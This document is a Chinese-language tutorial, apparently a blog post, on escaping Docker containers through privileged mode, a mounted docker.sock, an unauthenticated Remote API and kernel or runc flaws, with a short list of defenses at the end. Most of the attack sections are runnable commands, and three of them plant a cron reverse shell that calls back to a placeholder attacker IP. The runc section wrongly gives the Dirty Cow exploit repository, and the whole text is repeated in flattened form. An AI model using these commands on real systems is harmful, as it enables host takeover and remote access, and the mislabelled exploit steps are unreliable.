浅谈Docker逃逸
字数 1364 2025-08-24 07:48:22

Docker逃逸技术全面解析与防御指南

一、Docker逃逸概述

Docker逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的过程。由于Docker本质上是Linux下的进程,通过NameSpace实现内核级别的环境隔离(文件、网络、资源),其隔离性弱于传统虚拟机,因此存在多种逃逸可能性。

二、Docker环境检测方法

在尝试逃逸前,需要确认当前环境是否为Docker容器:

  1. 查找.dockerenv文件

    • Docker环境下默认存在/.dockerenv文件
    • 非Docker环境则没有此文件
  2. 查询cgroup进程

    cat /proc/1/cgroup
    
  3. 查看容器环境变量

    cat /proc/1/environ
    

三、特权模式逃逸

1. 特权模式判断

特权容器拥有宿主机文件读写权限,可通过以下方式判断:

cat /proc/1/status | grep Cap

特权容器的Cap集合值通常为0000003fffffffff,可通过解码确认:

capsh --decode=0000003fffffffff

特权容器还需满足:

  • 缺少AppArmor配置文件(允许mount syscall)
  • 能够访问敏感dev设备

2. 特权模式逃逸步骤

  1. 以特权模式运行容器:

    docker run -it --privileged 镜像id /bin/bash
    
  2. 查看磁盘文件:

    fdisk -l
    
  3. 挂载宿主机磁盘:

    mkdir /test
    mount /dev/vda1 /test
    
  4. 写入计划任务实现逃逸:

    echo '* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1' >> /test/var/spool/cron/root
    

四、docker.sock挂载逃逸

1. 原理

Docker采用C/S架构,当容器挂载了/var/run/docker.sock时,可以通过此socket与宿主机Docker守护进程通信,执行任意Docker命令。

2. 逃逸步骤

  1. 运行挂载docker.sock的容器:

    docker run -it -v /var/run/:/host/var/run/ 镜像id /bin/bash
    
  2. 查找docker.sock:

    find / -name docker.sock
    
  3. 在容器内安装Docker客户端:

    apt-get update
    apt-get install docker.io
    
  4. 查看宿主机Docker信息:

    docker -H unix:///host/var/run/docker.sock info
    
  5. 运行新容器挂载宿主机根目录:

    docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash
    
  6. 写入计划任务实现逃逸:

    echo '* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1' >> /test/var/spool/cron/root
    

五、Remote API未授权访问逃逸

1. 未授权访问检测

当Docker Remote API暴露且未授权时(默认2375端口),可以:

  1. 获取所有容器信息:

    GET /containers/json
    
  2. 创建exec执行命令:

    POST /containers/<container_id>/exec HTTP/1.1
    {
      "AttachStdin": true,
      "AttachStdout": true,
      "AttachStderr": true,
      "Cmd": ["cat", "/etc/passwd"],
      "Privileged": true,
      "Tty": true
    }
    
  3. 启动exec执行:

    POST /exec/<exec_id>/start HTTP/1.1
    {
      "Detach": false,
      "Tty": false
    }
    

2. 逃逸步骤

  1. 容器内安装Docker客户端:

    apt-get update
    apt-get install docker.io
    
  2. 查看宿主机Docker信息:

    docker -H tcp://宿主机IP:2375 images
    
  3. 运行新容器挂载宿主机根目录:

    docker -H tcp://宿主机IP:2375 run -it -v /:/test 镜像id /bin/bash
    
  4. 写入计划任务实现逃逸:

    echo '* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1' >> /test/var/spool/cron/root
    

六、容器服务缺陷逃逸(runc漏洞)

1. 影响版本

  • Docker version <= 18.09.2
  • RunC version <= 1.0-rc6

2. 环境搭建

  1. 安装依赖:

    apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
    
  2. 添加Docker GPG密钥:

    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
    
  3. 设置稳定版仓库:

    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    
  4. 更新并安装指定版本:

    apt-get update
    apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
    

3. 逃逸步骤

  1. 下载并编译漏洞利用代码:

    git clone https://github.com/gebl/dirtycow-docker-vdso.git
    cd dirtycow-docker-vdso/
    
  2. 编译并执行:

    make
    ./0xdeadbeef 攻击者IP:端口
    

七、脏牛漏洞逃逸

Dirty Cow是Linux内核提权漏洞,由于Docker与宿主机共享内核,可利用此漏洞逃逸。

利用步骤

  1. 下载漏洞利用代码:

    git clone https://github.com/gebl/dirtycow-docker-vdso.git
    cd dirtycow-docker-vdso/
    
  2. 编译并执行:

    make
    ./0xdeadbeef 攻击者IP:端口
    

八、防御措施

  1. 避免使用特权模式:不要使用--privileged参数运行容器
  2. 限制能力集:使用--cap-drop=ALL移除所有能力,再按需添加
  3. 保护docker.sock:避免将/var/run/docker.sock挂载到容器中
  4. 加固Remote API:禁用或配置TLS认证的Remote API访问
  5. 及时更新:保持Docker和宿主机内核最新版本
  6. 使用安全配置:启用AppArmor、Seccomp等安全机制
  7. 最小化容器权限:以非root用户运行容器进程

通过理解这些逃逸技术和防御措施,可以有效提升Docker环境的安全性。

Docker逃逸技术全面解析与防御指南 一、Docker逃逸概述 Docker逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的过程。由于Docker本质上是Linux下的进程,通过NameSpace实现内核级别的环境隔离(文件、网络、资源),其隔离性弱于传统虚拟机,因此存在多种逃逸可能性。 二、Docker环境检测方法 在尝试逃逸前,需要确认当前环境是否为Docker容器: 查找.dockerenv文件 Docker环境下默认存在/.dockerenv文件 非Docker环境则没有此文件 查询cgroup进程 查看容器环境变量 三、特权模式逃逸 1. 特权模式判断 特权容器拥有宿主机文件读写权限,可通过以下方式判断: 特权容器的Cap集合值通常为 0000003fffffffff ,可通过解码确认: 特权容器还需满足: 缺少AppArmor配置文件(允许mount syscall) 能够访问敏感dev设备 2. 特权模式逃逸步骤 以特权模式运行容器: 查看磁盘文件: 挂载宿主机磁盘: 写入计划任务实现逃逸: 四、docker.sock挂载逃逸 1. 原理 Docker采用C/S架构,当容器挂载了 /var/run/docker.sock 时,可以通过此socket与宿主机Docker守护进程通信,执行任意Docker命令。 2. 逃逸步骤 运行挂载docker.sock的容器: 查找docker.sock: 在容器内安装Docker客户端: 查看宿主机Docker信息: 运行新容器挂载宿主机根目录: 写入计划任务实现逃逸: 五、Remote API未授权访问逃逸 1. 未授权访问检测 当Docker Remote API暴露且未授权时(默认2375端口),可以: 获取所有容器信息: 创建exec执行命令: 启动exec执行: 2. 逃逸步骤 容器内安装Docker客户端: 查看宿主机Docker信息: 运行新容器挂载宿主机根目录: 写入计划任务实现逃逸: 六、容器服务缺陷逃逸(runc漏洞) 1. 影响版本 Docker version <= 18.09.2 RunC version <= 1.0-rc6 2. 环境搭建 安装依赖: 添加Docker GPG密钥: 设置稳定版仓库: 更新并安装指定版本: 3. 逃逸步骤 下载并编译漏洞利用代码: 编译并执行: 七、脏牛漏洞逃逸 Dirty Cow是Linux内核提权漏洞,由于Docker与宿主机共享内核,可利用此漏洞逃逸。 利用步骤 下载漏洞利用代码: 编译并执行: 八、防御措施 避免使用特权模式 :不要使用 --privileged 参数运行容器 限制能力集 :使用 --cap-drop=ALL 移除所有能力,再按需添加 保护docker.sock :避免将 /var/run/docker.sock 挂载到容器中 加固Remote API :禁用或配置TLS认证的Remote API访问 及时更新 :保持Docker和宿主机内核最新版本 使用安全配置 :启用AppArmor、Seccomp等安全机制 最小化容器权限 :以非root用户运行容器进程 通过理解这些逃逸技术和防御措施,可以有效提升Docker环境的安全性。